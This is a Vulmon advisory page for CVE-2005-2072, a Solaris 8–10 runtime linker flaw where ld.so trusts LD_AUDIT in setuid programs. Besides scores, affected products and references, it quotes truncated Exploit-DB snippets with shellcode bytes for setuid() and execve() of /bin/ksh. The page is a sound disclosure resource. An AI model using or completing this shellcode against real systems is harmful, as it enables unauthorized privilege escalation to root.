Vulmon Recent Vulnerabilities Research Posts Trends Blog About Contact
7.2
CVSSv2

CVE-2005-2072

Published: 29/06/2005 Updated: 30/10/2018
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
VMScore: 730
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C
Subscribe to Sunos

Vulnerability Summary

The runtime linker (ld.so) in Solaris 8, 9, and 10 trusts the LD_AUDIT environment variable in setuid or setgid programs, which allows local users to gain privileges by (1) modifying LD_AUDIT to reference malicious code and possibly (2) using a long value for LD_AUDIT.

Vulnerable Product Search on Vulmon Subscribe to Product

sun sunos 5.8

sun solaris 8.0

sun solaris 9.0

sun solaris 10.0

Exploits

Exploit DB: Solaris 9/10 - 'ld.so' Local Privilege Escalation (2)
/* Solaris 9 on SPARC: $ cat dupac */ char sh[] = /* setuid() */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* execve() */ "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; int la_version() { void (*f) ...
Exploit DB: Solaris 9/10 - 'ld.so' Local Privilege Escalation (1)
/* - SunOS 510 Generic i86pc i386 i86pc - SunOS 59 Generic_112233-12 sun4u It does NOT work on: SunOS 58 Generic_117350-02 sun4u sparc Example on unpatched Solaris 10 (AMD64): atari:venglin:~> cat dupac */ static char sh[] = "\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0 ...

References

CWE-264http://lists.grok.org.uk/pipermail/full-disclosure/2005-June/034730.htmlhttp://lists.grok.org.uk/pipermail/full-disclosure/2005-June/034731.htmlhttp://lists.grok.org.uk/pipermail/full-disclosure/2005-June/034738.htmlhttp://www.securityfocus.com/bid/14074http://sunsolve.sun.com/search/document.do?assetkey=1-26-101794-1http://www.opensolaris.org/jive/thread.jspa?messageID=3497http://securitytracker.com/id?1014537http://secunia.com/advisories/15841http://www.vupen.com/english/advisories/2005/0908https://nvd.nist.govhttps://www.exploit-db.com/exploits/1074/
CVSSv2
CVSSv2
CVSSv3
VMScore
Recommendations:
CVE-2024-27322CVE-2006-4304wirelessCVE-2023-23022local file inclusionCVE-2024-27058CVE-2024-33820open redirectCVE-2024-27079
Vulnerability Notification Service
You don’t have to wait for vulnerability scanning results
Get Started

Vulmon Search

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

About

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Products

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Connect

Twitter Reddit Linkedin Facebook